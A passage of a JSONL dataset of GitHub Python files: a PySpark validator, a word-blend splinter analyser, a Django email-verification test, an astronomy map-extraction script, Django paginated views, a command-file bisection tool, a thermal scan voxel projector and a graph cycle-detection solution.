column_name, allowed_values: list):\n        \"\"\"\n        Defines a constraint that checks whether the column value is equal to one of the given values.\n        :param column_name: the column name\n        :param allowed_values: a list of allowed values, the type should match the column type\n        :return: self\n        \"\"\"\n        self._add_constraint(_OneOf(column_name, allowed_values))\n        return self\n\n    def execute(self) -> ValidationResult:\n        \"\"\"\n        Returns a named tuple containing the data that passed the validation, the data that was rejected (only unique rows), and a list of violated constraints.\n        Note that the order of rows and constraints is not preserved.\n\n        :raises ValueError: if a constraint has been defined using a non-existing column.\n        :return:\n        \"\"\"\n        self._validate_constraints()\n\n        if self._constraints:\n            for constraint in self._constraints:\n                self._df = constraint.prepare_df_for_check(self._df)\n\n            correct_output = self._df\n            errors = []\n\n            for constraint in self._constraints:\n                correct_output = constraint.filter_success(correct_output)\n                number_of_failures = constraint.filter_failure(self._df).count()\n\n                if number_of_failures > 0:\n                    errors.append(\n                        ValidationError(constraint.column_names,\n                                        constraint.constraint_name,\n                                        number_of_failures))\n\n            correct_output = correct_output.select(self._input_columns)\n            incorrect_output = self._df.select(\n                self._input_columns).subtract(correct_output)\n\n            return ValidationResult(correct_output, incorrect_output, errors)\n        else:\n            return ValidationResult(\n                self._df, self._spark.createDataFrame([], self._df.schema), [])\n\n    def _add_constraint(self, constraint: _Constraint) -> None:\n        existing = filter(lambda c: c == constraint, self._constraints)\n        if list(existing):\n            raise ValueError(\n                f\"An not_null constraint for column {constraint.column_name} already exists.\"\n            )\n\n        self._constraints.append(constraint)\n\n    def _validate_constraints(self) -> None:\n        columns = [c.lower() for c in self._df.columns]\n\n        errors = []\n        for constraint in self._constraints:\n            is_correct, error_message = constraint.validate_self(\n                self._df, columns)\n            if not is_correct:\n                errors.append(error_message)\n\n        if errors:\n            raise ValueError(\", \".join(errors))\n\n    def _load(self, config: dict):\n        factories = [\n            member() for member in honeycomb.utils.find_members(\n                'honeycomb._constraints',\n                honeycomb.utils.is_child_of(_ConstraintFactory))\n        ]\n        factory_map = {factory.name: factory for factory in factories}\n\n        LOGGER.debug(f'factory_map: {factory_map}')\n\n        root = config.get('validation', {})\n        constraints = root.get('constraints', [])\n        for constraint in constraints:\n            constraint_name = constraint['name']\n            if constraint_name not in factory_map:\n                raise ValueError(\n                    f'Invalid constraint parameter: {constraint_name}')\n            self._add_constraint(factory_map[constraint_name].from_config(\n                None, constraint))\n\n        columns = root.get('columns', [])\n        for column in columns:\n            column_name = column['column']\n            constraints = column['constraints']\n            for constraint in constraints:\n                constraint_name = constraint['name']\n                if constraint_name not in factory_map:\n                    raise ValueError(\n                        f'Invalid constraint parameter: {constraint_name}')\n                self._add_constraint(factory_map[constraint_name].from_config(\n                    column_name, constraint))\n","repo_name":"natefleming/databricks-accelerator","sub_path":"lib/honeycomb/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":10513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4288827255","text":"from abc import ABC, abstractmethod\nfrom unidecode import unidecode\n\nfrom .interface import get_interfaces\nfrom .letters import count_letters\nfrom .phones import get_phones_list, get_syllable_lengths, Phones\nfrom .syllables import count_syllables, get_syllables\nfrom typing import Union\n\n\nclass Splinter(ABC):\n    \"\"\"Po vytvoreni objektu sa ma pouzit metoda find\"\"\"\n\n    def __init__(self, nu: str, sw: str, len_fn=len):\n        self.orig_nu = self.nu = nu.strip()\n        self.sw = sw.strip()\n        self.len_fn = len_fn\n        self.alignment = None\n\n    def find(self) -> bool:\n        \"\"\"Najde alignment. Vracia bool ci nasiel.\"\"\"\n        alignments = []\n        for sw_idx in range(len(self.sw)):\n            for nu_idx in range(len(self.nu)):\n                alignments.append(Alignment(self.nu, self.sw, nu_idx, sw_idx, self.orig_nu))\n        alignment = max(alignments, key=lambda align: align.score)\n        if alignment.score > 0:\n            self.alignment = alignment\n            return True\n        return False\n\n    @abstractmethod\n    def get_str(self) -> str: pass\n\n    @abstractmethod\n    def get_length(self) -> int: pass\n\n    def get_sw_ratio(self) -> float:\n        return self.get_length() / self.len_fn(self.sw)\n\n    def get_nu_ratio(self) -> float:\n        return self.get_length() / self.len_fn(self.nu)\n\n\nclass GraphicSplinter(Splinter):\n\n    def __init__(self, nu, sw):\n        super().__init__(nu, sw, count_letters)\n        self.nu = self.nu.lower()\n        self.sw = self.sw.lower()\n\n    def get_str(self):\n        return self.alignment.generate()\n\n    def get_length(self):\n        return count_letters(self.get_str())\n\n\nclass SoftGraphicSplinter(GraphicSplinter):\n\n    def __init__(self, nu, sw):\n        super().__init__(nu, sw)\n        self.nu = unidecode(self.nu).replace('c', 'k')\n        self.sw = unidecode(self.sw).replace('c', 'k')\n\n\nclass PhoneticSplinter(Splinter):\n\n    def __init__(self, nu, sw):\n        super().__init__(nu, sw)  # funkciou na pocitanie dlzky je len, pretoze pocitame velkost zoznamu\n        self.orig_nu = self.nu = get_phones_list(self.nu)\n        self.sw_str = self.sw\n        self.sw = get_phones_list(self.sw)\n\n    def get_str(self):\n        return ' '.join(self.alignment.generate())\n\n    def get_length(self):\n        return len(self.alignment.generate())\n\n    def get_shortening_and_split_point(self):\n        \"\"\"Vrati shortening_type, split_point_placement. Obe mozu byt None.\"\"\"\n\n        def get_shortening_type():\n            \"\"\"Vrati Type of Lexical Shortening alebo None.\"\"\"\n            if self.len_fn(self.sw) == self.get_length():  # self.len_fn je obycajne len\n                return 'FSW'\n            elif self.alignment.sw_idx == 0:\n                return 'RS'\n            elif self.alignment.sw_idx + len(self.alignment.generate()) == len(self.sw):\n                return 'LS'\n\n        shortening = get_shortening_type()\n\n        if shortening not in ('RS', 'LS'):\n            return shortening, None\n\n        split_interface = {\n            'RS': (self.alignment.score - 1, self.alignment.score),\n            'LS': (self.alignment.sw_idx - 1, self.alignment.sw_idx)\n        }[shortening]\n\n        # ohodnotit rozhranie\n        # ci je slabikove\n        if split_interface in get_interfaces(self.sw_str):\n            return shortening, 'syllable'\n\n        types = [Phones.get_type(self.sw[idx]) for idx in split_interface]\n\n        if types == ['c', 'v']:\n            return shortening, 'onset-nucleus'  # consonant - vowel\n        elif types == ['v', 'c']:\n            return shortening, 'nucleus-coda'  # vowel - consonant\n        else:\n            return shortening, None\n\n\nclass SoftPhoneticSplinter(PhoneticSplinter):\n\n    def __init__(self, nu, sw):\n        super().__init__(nu, sw)\n        # TODO zmena dlhych hlasok na kratke\n\n\nclass SyllabicSplinter(Splinter):\n\n    class SPP:\n        s = 'syllable'\n        cv = 'onset-nucleus'  # consonant - vowel\n        vc = 'nucleus-coda'  # vowel - consonant\n\n    def __init__(self, nu: str, sw: str):\n        super().__init__(nu, sw)\n        self.orig_nu = self.nu = get_syllables(self.orig_nu)\n        self.sw = get_syllables(self.sw)\n\n    def __get_syllables(self):\n        \"\"\"Na zaklade fonetickeho splintra a poctov slabik v SW vytvori zoznam slabik v splintri.\"\"\"\n        lengths = get_syllable_lengths(self.sw)  # pocty slabik v SW\n        assert sum(lengths) == len(get_phones_list(self.sw))\n        phones_list = self.alignment.generate()  # zoznam hlasok splintra\n        length = 0  # pociatocna hodnota, aby sa urobil pop\n\n        for i in range(self.alignment.sw_idx):  # odstranenie prefixu\n            if length == 0:  # sme na rozhrani slabiky\n                length = lengths.pop(0)  # vybratie dalsej velkosti slabiky\n            length -= 1\n\n        if length > 0:  # split point je vnutri slabiky\n            self.incomplete_left = True\n            lengths.insert(0, length)\n\n        for length in lengths:\n            if len(phones_list) == 0:  #\n                break\n\n            if length > len(phones_list):  # ak nemame dostatok hlasok, split point je vnutri slabiky\n                minimum = len(phones_list)\n                self.incomplete_right = True\n            else:\n                minimum = length\n\n            self.syllables.append(phones_list[:minimum])\n            phones_list = phones_list[minimum:]\n\n    def get_str(self):\n        return '.'.join(self.alignment.generate())\n\n    def get_length(self):\n        return len(self.alignment.generate())\n\n\nclass Alignment:\n    \"\"\"Trieda reprezentujuca jedno prilozenie\"\"\"\n\n    def __init__(self, nu, sw, nu_idx, sw_idx, orig_nu):\n        self.nu = nu\n        self.sw = sw\n        self.nu_idx = nu_idx\n        self.sw_idx = sw_idx\n        self.orig_nu = orig_nu\n        self.score = 0\n        self.__get_score()\n\n    def __get_score(self):\n        \"\"\"Zisti pocet rovnakych casti zo zaciatku\"\"\"\n        for pair in zip(self.nu[self.nu_idx:], self.sw[self.sw_idx:]):\n            if pair[0] == pair[1]:\n                self.score += 1\n            else:\n                break\n\n    def generate(self):\n        \"\"\"Vrati rovnaku cast prilozenia\"\"\"\n        start = self.nu_idx\n        stop = start + self.score\n        return self.orig_nu[start:stop]\n\n    def get_segment_range(self) -> range:\n        return range(self.nu_idx, self.nu_idx + self.score)\n\n\nclass SegmentCounter:\n\n    def __init__(self, splinters: list):\n        self.segs = [0] * len(splinters[0].nu)\n        for s in splinters:\n            if s.alignment:\n                for i in s.alignment.get_segment_range():\n                    self.segs[i] += 1\n\n    def overlap_number(self) -> int:\n        return sum(x > 1 for x in self.segs)\n","repo_name":"simeonborko/compounds-blends-competition-thesis","sub_path":"src/tools/en/splinter.py","file_name":"splinter.py","file_ext":"py","file_size_in_byte":6705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21171579292","text":"import requests\nfrom django.contrib.auth import get_user_model\nfrom email_auth.models import EmailAddress, EmailVerification\nfrom rest_framework import status\n\n\ndef test_create_email_verification_request(live_server, mailoutbox):\n    \"\"\"\n    A user should be able to resend the verification email for an email\n    they have not yet verified.\n    \"\"\"\n    user = get_user_model().objects.create_user(name=\"Test User\")\n    email = EmailAddress.objects.create(address=\"test@example.com\", user=user)\n\n    data = {\"email\": email.address}\n    url = f\"{live_server}/accounts/email-verification-requests/\"\n    response = requests.post(url, data)\n\n    assert response.status_code == status.HTTP_201_CREATED\n    assert response.json() == data\n\n    verification = EmailVerification.objects.get()\n    msg = mailoutbox[0]\n\n    assert \"Verify\" in msg.subject\n    assert msg.to == [email.address]\n    assert verification.token in msg.body\n","repo_name":"UltiManager/ultimanager-api","sub_path":"ultimanager/functional_tests/accounts/emails/test_email_verification_request.py","file_name":"test_email_verification_request.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37962128897","text":"from mapext.core.mapClass import astroMap\nfrom mapext.core.srcClass import astroSrc\nfrom mapext.analysis import photometry, sourcefit\nfrom mapext.io import map\nimport numpy as np\nfrom astropy.coordinates import SkyCoord\nimport astropy.units as u\nfrom mapext.io.outFile import outFileHandler\nfrom tqdm import tqdm\n\nmapDict = {\n    'MAP1': {\n          'survey': 'SURVEYNAME',\n            'name': 'MAPNAME',\n       'reference': 'REFERENCE IF REQUIRED',\n        'filename': 'PATH/TO/FILE.fits',\n       # SUPPLY EITHER FREQUENCY OR WAVELENGTH - MAPEXT WILL PRIOROTISE FREQUENCY\n       'frequency': 30e9*u.Hz,\n        # 'wavelength': ?*u.m,\n       # GIVE 2D BEAM PROFILE OF ORIGINAL DATA\n       'beamwidth': [4.3*u.arcmin, 4.3*u.arcmin],\n        'resolution': 5.0*u.arcmin,  # RESOLUTION OF MAP AS FWHM OF GAUSSIAN BEAM PROFILE\n        'projection': 'WCS',  # 'WCS' or 'HPX<nside>'\n            'unit': 1e-3*u.K,  # UNITS OF THE MAP (for CMB TEMP. USE 'KCMB')\n        'error': {'CALIBRATION': 10*u.pc},  # DICTIONARY OF ERRORS AND SOURCES\n           }\n}\n\nsrcDict = [\n            {'name': 'SOURCE A',\n             'coord': SkyCoord(039.22407*u.degree,\n                               - 00.31469*u.degree, frame='galactic')}\n          ]\n\n# Initialise outFile to output results in\n# ,use_date=False,name='mapext_run_file_2022-03-01')\noutFile = outFileHandler(update=True)\nrundict = {'OUTFILE': outFile}\n\n# initialise source object list to query and add sources to outFile\ns = []\nfor _ in range(len(srcDict)):\n    src = astroSrc(**srcDict[_])\n    s.append(src)\n    outFile.add_source(src)\n\n# Loop over maps\nfor _ in tqdm(mapDict):\n    m = astroMap(**mapDict[_])\n    # convert healpix to cartesian if needbe\n    if m.PROJ[:3] == 'HPX':\n        m.reproject(crval=[25, 0.0], crpix=[360, 240], cdelt=[\n                    1/60, 1/60], ctype=['GLON-CYP', 'GLAT-CYP'], shape_out=[3001, 481])\n    m.smooth_to(target_res=5*u.arcmin)  # smooth to 5 arcmin\n    m.convert_unit(units=u.K)  # convert units to K\n    # m.quickplot(map_kwargs={'cmap':'jet'}) # Quickplot of the survey to check the map looks good\n    # Aperture photometry on the source list\n    photometry.ap_source(m, s, RUNDICT=rundict)\n    # Retrieve cutouts for sources and save them\n    map.cutout(m, s, RUNDICT=rundict)\n    sourcefit.single_source(m, s)  # Fit gaussian model to sources\n\n    # Update map section of outFile\n    rtnParam = m.return_dictionary()\n    outFile.update_file({'maps/'+m.ID: rtnParam})\n    # Delete map once used\n    del m\n\n# update sources in outfile\nfor _ in s:\n    outFile.add_source(_)\n    print(_.flux)\n","repo_name":"SharperJBCA/COMAPreduce","sub_path":"run_mapext.py","file_name":"run_mapext.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"12649484450","text":"from django.shortcuts import render\nfrom mainapp.models import Product, ProductCategory\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\n# Create your views here.\n\ndef index(request):\n    return render(request, 'mainapp/index.html')\n\n\n# def products(request, category_id=None):\n#     products = Product.objects.filter(category_id=category_id) if category_id else Product.objects.all()\n#     context = {\n#             'categories': ProductCategory.objects.all(),\n#             'products': products\n#         }\n#     return render(request, 'mainapp/products.html', context)\n\ndef products(request, category_id=None, page=1):\n    if category_id:\n        products = Product.objects.filter(category_id=category_id).order_by('price')\n    else:\n        products = Product.objects.all().order_by('price')\n    per_page = 3\n    paginator = Paginator(products, per_page)\n    products_paginator = paginator.page(page)\n    context = {\n        'categories': ProductCategory.objects.all(),\n        'products': products_paginator\n    }\n    return render(request, 'mainapp/products.html', context)\n\n\n\n","repo_name":"Oleg-Psheno/Django_course","sub_path":"mainapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41824156605","text":"#!/usr/bin/env python3\n\"\"\"\nUsage:\n  ./line_bisect.py [options] <commands-file> <test>\n\nOptions:\n  --good=<line>   The line number of a line where the test succeeds.\n  --bad=<line>    The line number of a line where the test fails.\n\"\"\"\nimport os\nimport sys\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import List, NamedTuple, Optional\n\nimport crayons\nfrom docopt import docopt\n\n\nclass Line(NamedTuple):\n    number: int\n    command: str\n\n    def run(self) -> bool:\n        return run(self.command, description=f'line {line.number}')\n\n\n@dataclass\nclass Bisector:\n    good_index: Optional[int]\n    bad_index: Optional[int]\n    lines: List[Line]\n    test: str\n    iteration: int = 0\n\n    @property\n    def target_index(self) -> int:\n        if self._has_indices():\n            return (self.good_index + self.bad_index) // 2\n        return len(self.lines) - 1\n\n    @property\n    def target_line(self) -> int:\n        return self._line_number(self.target_index)\n\n    @property\n    def good_line(self) -> int:\n        return self._line_number(self.good_index)\n\n    @property\n    def bad_line(self) -> int:\n        return self._line_number(self.bad_index)\n\n    @property\n    def good_command(self) -> int:\n        return self._line_command(self.good_index)\n\n    @property\n    def bad_command(self) -> int:\n        return self._line_command(self.bad_index)\n\n    @property\n    def total_lines(self) -> int:\n        return len(self.lines)\n\n    def should_keep_testing(self) -> bool:\n        if self._has_indices():\n            return abs(self.good_index - self.bad_index) > 1\n        return True\n\n    def test_target(self):\n        self.iteration += 1\n\n        print(\n            crayons.blue(\n                f'Running lines 1 to {self.target_line} of {self.total_lines}.'\n            )\n        )\n\n        for line in self._target_lines():\n            if not run(line.command, description=f'line {line.number}'):\n                raise Exception(f'Line {line.number} failed.')\n\n        self._update_index(self._run_test())\n\n    def _target_lines(self) -> List[Line]:\n        return self.lines[: self.target_index + 1]\n\n    def _update_index(self, success: bool) -> None:\n        if success:\n            self.good_index = self.target_index\n        else:\n            self.bad_index = self.target_index\n\n        self.good_index = self.good_index or 0\n        self.bad_index = self.bad_index or 0\n\n        print(crayons.red(f'Line {self.bad_line} is bad: {self.bad_command}'))\n        print(crayons.green(f'Line {self.good_line} is good: {self.good_command}'))\n\n    def _run_test(self) -> bool:\n        success = run(self.test, description='test')\n\n        if success:\n            print(\n                crayons.green(\n                    f'Test passed after line {self.target_line} on iteration {self.iteration}.'\n                )\n            )\n        else:\n            print(\n                crayons.red(\n                    f'Test failed after line {self.target_line} on iteration {self.iteration}.'\n                )\n            )\n\n        return success\n\n    def _line_number(self, index: int) -> int:\n        return self.lines[index].number\n\n    def _line_command(self, index: int) -> str:\n        return self.lines[index].command\n\n    def _has_indices(self) -> bool:\n        return self.good_index is not None and self.bad_index is not None\n\n\ndef main() -> int:\n    arguments = docopt(__doc__)\n\n    lines = _get_lines(Path(arguments['<commands-file>']))\n\n    bisector = _get_bisector(\n        arguments['--good'], arguments['--bad'], lines, arguments['<test>']\n    )\n\n    while bisector.should_keep_testing():\n        bisector.test_target()\n\n\n    return 0\n\n\ndef run(command: str, description: str) -> bool:\n    print(crayons.cyan(f'Running {description}: {command}'))\n    return os.system(command) == 0\n\n\ndef _get_lines(commands_file: Path) -> List[Line]:\n    lines = []\n    with commands_file.open() as open_file:\n        for line_number, command in enumerate(open_file, start=1):\n            command = command.strip()\n            if _is_command(command):\n                lines.append(Line(number=line_number, command=command))\n    return lines\n\n\ndef _is_command(command: str) -> bool:\n    return bool(command) and not command.startswith('#')\n\n\ndef _get_bisector(\n    good_argument: Optional[str],\n    bad_argument: Optional[str],\n    lines: List[Line],\n    test: str,\n) -> Bisector:\n    return Bisector(\n        good_index=_get_line_index(good_argument, lines),\n        bad_index=_get_line_index(bad_argument, lines),\n        lines=lines,\n        test=test,\n    )\n\n\ndef _get_line_index(line_argument: Optional[str], lines: List[Line]) -> int:\n    if not line_argument:\n        return None\n    line_number_argument = int(line_argument)\n    if line_number_argument == -1:\n        return len(lines) - 1\n    for line_index, line in enumerate(lines):\n        if line.number >= line_number_argument:\n            return line_index\n    return len(lines) - 1\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n","repo_name":"davidparsson/line-bisect","sub_path":"line_bisect.py","file_name":"line_bisect.py","file_ext":"py","file_size_in_byte":5022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70020184510","text":"import multiprocessing as mp\n\nimport geomie3d\nimport numpy as np\n\nimport raytracemrt.utils as utils\n# import utils\n#----------------------------------------------------------------\ndef process_intersection(intersection_results, ijk_ls, unq_bbx_ls):\n    hrs = intersection_results[0]\n    mrs = intersection_results[1]\n    nhrs = len(hrs)\n\n    intvs = []\n    temp_ls = []\n    if nhrs != 0:\n        for hr in hrs:\n            att = hr.attributes['rays_bboxes_intersection']\n            intersect = att['intersection']\n            hit_bbxs = att['hit_bbox']\n            process_hit_bbxs(hit_bbxs, ijk_ls, unq_bbx_ls)\n            temp = hr.attributes['temperature']\n            if len(intersect) == 1:\n                intv = geomie3d.create.vertex(intersect[0], attributes = {'temperature':temp})\n                temp_ls.append(temp)\n                intvs.append(intv)\n            else:\n                unq = np.unique(intersect, axis=0)\n                if len(unq) == 1:\n                    intv = geomie3d.create.vertex(unq[0], attributes = {'temperature':temp})\n                    intvs.append(intv)\n                    temp_ls.append(temp)\n                else:\n                    print('not sure what is happening please debug')\n                    \n            \n    return intvs, temp_ls, mrs\n\ndef process_hit_bbxs(hit_bbxs, ijk_ls, unq_bbx_ls):\n    for hb in hit_bbxs:\n        ijk = hb.attributes['ijk']\n        # print('---------------------------------')\n        # print(ijk)\n        # print(ijk_ls)\n        if ijk not in ijk_ls:\n            ijk_ls.append(ijk)\n            unq_bbx_ls.append(hb)\n        else:\n            #---------------------------------------------------------\n            # get the atts from the unq box and merge with current box\n            #---------------------------------------------------------\n            idx = ijk_ls.index(ijk)\n            unq_bbx = unq_bbx_ls[idx]\n            att = unq_bbx.attributes['rays_bboxes_intersection']\n            ints1 = att['intersection']\n            rays1 = att['ray']\n            rids1 = [ray.attributes['id'] for ray in rays1]\n            #-------------------------------------\n            # get the atts from this current bbox\n            #-------------------------------------\n            rays2 = hb.attributes['rays_bboxes_intersection']['ray']\n            ints2 = hb.attributes['rays_bboxes_intersection']['intersection']\n            rids2 = [ray.attributes['id'] for ray in rays2]\n            not_in_true = np.in1d(rids2, rids1)\n            not_in_true = np.logical_not(not_in_true)\n            not_in_indx = np.where(not_in_true)[0]\n            if len(not_in_indx) != 0:\n                not_in_intersections = np.take(ints2, not_in_indx, axis=0).tolist()\n                ints1.extend(not_in_intersections)\n                not_in_rays = np.take(rays2, not_in_indx, axis=0).tolist()\n                rays1.extend(not_in_rays)\n            \ndef calc_hit_bbx_temp(hit_bbx_ls):\n    for ub in hit_bbx_ls:\n        att = ub.attributes['rays_bboxes_intersection']\n        rays = att['ray']\n        # print(len(rays))\n        temps = [ray.attributes['temperature'] for ray in rays]\n        # print(temps)\n        avg = sum(temps)/len(temps)\n        ub.update_attributes({'temperature':avg})\n\ndef find_msbbx(all_bbxs, hit_bbxs):\n    all_ijks = [list(bbx.attributes['ijk']) for bbx in all_bbxs]\n    hit_ijks = [list(bbx.attributes['ijk']) for bbx in hit_bbxs]\n    ms_idx_ls = []\n    for cnt,ijk in enumerate(all_ijks):\n        if ijk not in hit_ijks:\n            ms_idx_ls.append(cnt)\n            \n    ms_bbxs = np.take(all_bbxs, ms_idx_ls, axis=0).tolist()\n    return ms_bbxs  \n\ndef project(therm_scan_path, pts_path, sensor_pos, res_path, vx_path, v_size, viz):\n    #----------------------------------------------------------------\n    #process the geometry point clouds\n    #read the pts file and voxelise the pts\n    #----------------------------------------------------------------\n    # from time import perf_counter\n    # t1_start = perf_counter()\n    viz_dlist = []\n    with open(pts_path) as f:\n        lines = f.readlines()\n    vlist = []\n    xyzs_ls = []    \n    for l in lines:\n        l = l.split(',')\n        xyz = l[0:3]\n        xyz = list(map(float, xyz))\n        xyzs_ls.append(xyz)\n    #     v = geomie3d.create.vertex(xyz)\n    #     vlist.append(v)\n    # viz_dlist.append({'topo_list':vlist, 'colour':[1,1,1,1]})\n    \n    xdim = v_size\n    ydim = v_size\n    zdim = v_size\n    vx_dict = geomie3d.modify.xyzs2voxs(xyzs_ls, xdim, ydim, zdim)\n    \n    #convert the voxels to bboxes\n    bbx_ls = []\n    vx_ls = []\n    for cnt,key in enumerate(vx_dict.keys()):\n        vx = vx_dict[key]\n        midpt = vx['midpt']\n        att = {'idx': vx['idx'], 'ijk': key, 'midpt':midpt}\n        bbx = geomie3d.create.bbox_frm_midpt(midpt, v_size, v_size, v_size, attributes = att)\n        bbx_ls.append(bbx)\n    #     vx_v = geomie3d.create.vertex(midpt)\n    #     vx_ls.append(vx_v)\n        \n    # viz_dlist.append({'topo_list':vx_ls, 'colour':[0,0,1,0.3], 'px_mode': False, 'point_size':v_size})\n    # geomie3d.utility.viz(viz_dlist)\n    # t1_stop = perf_counter()\n    # counter = t1_stop - t1_start\n    # print('Time taken 2 Voxelize(mins)', round(counter/60, 1))\n    #----------------------------------------------------------------\n    # read the thermal scan\n    #----------------------------------------------------------------\n    #read the file and get all the vert data\n    verts_data, temp_ls, headers = utils.read_therm_arr_ply(therm_scan_path)\n    ndir = len(verts_data)\n    if ndir == 0:\n        print('The PLY file specified is not produce from a Chaosense Sensor')\n    else:\n        #convert the verts to rays and \n        rays = []\n        for vcnt,v in enumerate(verts_data):\n            temp = v.attributes['temperature']\n            ray = geomie3d.create.ray(sensor_pos, v.point.xyz, attributes = {'temperature':temp, 'id': vcnt})\n            rays.append(ray)\n            \n        aloop = 36000#30\n        nvx = len(list(vx_dict.keys()))\n        ttl = ndir*nvx\n        nparallel = int(ttl/aloop)\n        \n        if nparallel != 0:\n            rays_ls = utils.separate_rays(rays, nparallel)\n        else:\n            rays_ls = [rays]\n        # print('number of splits:', nparallel)\n    #------------------------------------------------------------------\n    # project the thermal scan onto the geometry point clouds\n    #------------------------------------------------------------------\n    # #project them to the triangulated faces\n    # results = []\n    # for rays in rays_ls:\n    #     # print(rcnt)\n    #     hfs, mfs, hrs, mrs = geomie3d.calculate.rays_bboxes_intersect(rays, bbx_ls)\n    #     results.append([hfs, mfs, hrs, mrs])\n    #------------------------------------------------------------------\n    # project the thermal scan onto the geometry point clouds (parallel processing version)\n    #------------------------------------------------------------------\n    # Step 1: Init multiprocessing.Pool()\n    pool = mp.Pool(mp.cpu_count())\n    results = pool.starmap(geomie3d.calculate.rays_bboxes_intersect, \n                           [(ray, bbx_ls) for ray in rays_ls])\n    pool.close()\n    \n    # t2_stop = perf_counter()\n    # counter = t2_stop - t1_stop\n    # print('Time taken 2 Project(mins)', round(counter/60, 1))\n    #------------------------------------------------------------------\n    #process the results\n    #------------------------------------------------------------------\n    ijk_ls = []\n    unq_bbx_ls = []\n    intvs = []\n    temp_ls = []\n    ms_ray_ls = []\n    for result in results:\n        intv,temps,ms_rays = process_intersection(result, ijk_ls, unq_bbx_ls)\n        intvs.extend(intv)\n        temp_ls.extend(temps)\n        ms_ray_ls.extend(ms_rays)\n    \n    if len(unq_bbx_ls) != 0:\n        calc_hit_bbx_temp(unq_bbx_ls)\n        ms_bbx_ls = find_msbbx(bbx_ls, unq_bbx_ls)\n        processed_bbx_ls = unq_bbx_ls + ms_bbx_ls\n        # print(len(bbx_ls))\n        # print(len(unq_bbx_ls), len(ms_bbx_ls))\n    else:\n        processed_bbx_ls = bbx_ls\n    \n    utils.write_bbox2json(processed_bbx_ls, vx_path)\n    # t3_stop = perf_counter()\n    # counter = t3_stop - t2_stop\n    # print('Time taken 2 Process(mins)', round(counter/60, 1))\n    #------------------------------------------------------------------\n    #viz the results\n    #------------------------------------------------------------------\n    if viz == True:\n        sensor_v = geomie3d.create.vertex(sensor_pos)\n        viz_dlist.append({'topo_list':[sensor_v], 'colour': [1,1,1,0.5], 'px_mode': False, 'point_size': 0.5})\n        \n        viz_pt = True\n        int_viz = []\n        es = []\n        hbx_v = []\n        mbx_v = []\n        for bbx in processed_bbx_ls:\n            midpt = geomie3d.calculate.bbox_centre(bbx)\n            if viz_pt == True:\n                viz_topo = [geomie3d.create.vertex(midpt)]\n            else:\n                viz_topo = [geomie3d.create.box(v_size, v_size, v_size, centre_pt=midpt)]\n                # viz_topo = geomie3d.get.edges_frm_solid(bx)\n            if 'temperature' in bbx.attributes:\n                hbx_v.extend(viz_topo)\n                ints_xyz = bbx.attributes['rays_bboxes_intersection']['intersection']\n                for xyz in ints_xyz:\n                    int_v = geomie3d.create.vertex(xyz)\n                    int_e = geomie3d.create.pline_edge_frm_verts([sensor_v, int_v])\n                    int_viz.append(int_v)\n                    int_viz.append(int_e)\n                    es.append(int_e)\n            else:\n                mbx_v.extend(viz_topo)\n        \n        if len(int_viz) != 0:\n            viz_dlist.append({'topo_list': int_viz, 'colour': [1,1,1,0.3]})\n        \n        if len(hbx_v) != 0:\n            viz_dlist.append({'topo_list': hbx_v, 'colour': [0,0,1,0.3], 'px_mode': False, 'point_size': v_size})\n            \n        if len(mbx_v) != 0:\n            viz_dlist.append({'topo_list': mbx_v, 'colour': [0,0,1,0.3], 'px_mode': False, 'point_size': v_size})\n                    \n        \n        print('Visualizing ...')\n        # geomie3d.utility.viz(viz_dlist)\n        geomie3d.utility.viz_falsecolour(intvs, temp_ls, \n                                          other_topo_dlist=viz_dlist)\n#----------------------------------------------------------------\nif __name__ == '__main__':\n    therm_scan_path = 'F:\\\\kianwee_work\\\\princeton\\\\2022_06_to_2022_12\\\\chaosense\\\\example1\\\\ply\\\\example1_therm.ply'\n    pts_path = 'F:\\\\kianwee_work\\\\princeton\\\\2022_06_to_2022_12\\\\chaosense\\\\example1\\\\pts\\\\example1.pts'\n    sensor_pos = [0.5, 0.8, 1.5]#[1,0,1]\n    res_path = 'F:\\\\kianwee_work\\\\princeton\\\\2022_06_to_2022_12\\\\chaosense\\\\example1\\\\ply\\\\example1_therm_result\\\\intersect\\\\intersections.ply'\n    vx_path = 'F:\\\\kianwee_work\\\\princeton\\\\2022_06_to_2022_12\\\\chaosense\\\\example1\\\\ply\\\\example1_therm_result\\\\voxel\\\\projected_voxels0.json'\n    v_size = 0.3\n    viz = True\n    project(therm_scan_path, pts_path, sensor_pos, res_path, vx_path, v_size, viz)","repo_name":"chenkianwee/raytracemrt","sub_path":"src/raytracemrt/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":11002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9556388037","text":"import sys\nsys.setrecursionlimit(5000)\nclass Solution:\n    # @param A : integer\n    # @param B : list of list of integers\n    # @return an integer\n    def __init__(self):\n        self.graph = {}\n        \n    def isCyclic(self, node,visited,instack):\n        visited[node] = True\n        instack[node] = True\n        for i in self.graph[node]:\n            if(not visited[i]):\n                if(self.isCyclic(i,visited,instack)):\n                    return True\n            elif instack[i]:\n                return True\n        instack[node] = False\n        return False\n        \n    def solve(self, A, B):\n        for i in range(1, A + 1):\n            self.graph[i] = []\n        for (src, dst) in B:\n            self.graph[src].append(dst)\n        \n        visited = [False] * (A + 1)\n        instack = [False] * (A + 1)\n        \n        for i in range(1, A + 1):\n            if not visited[i]:\n                if self.isCyclic(i,visited,instack):\n                    return 1\n        return 0\n                    \n\n","repo_name":"crazykunal/Interviewbit-must-solve-questions","sub_path":"src/Cycle in Directed Graph.py","file_name":"Cycle in Directed 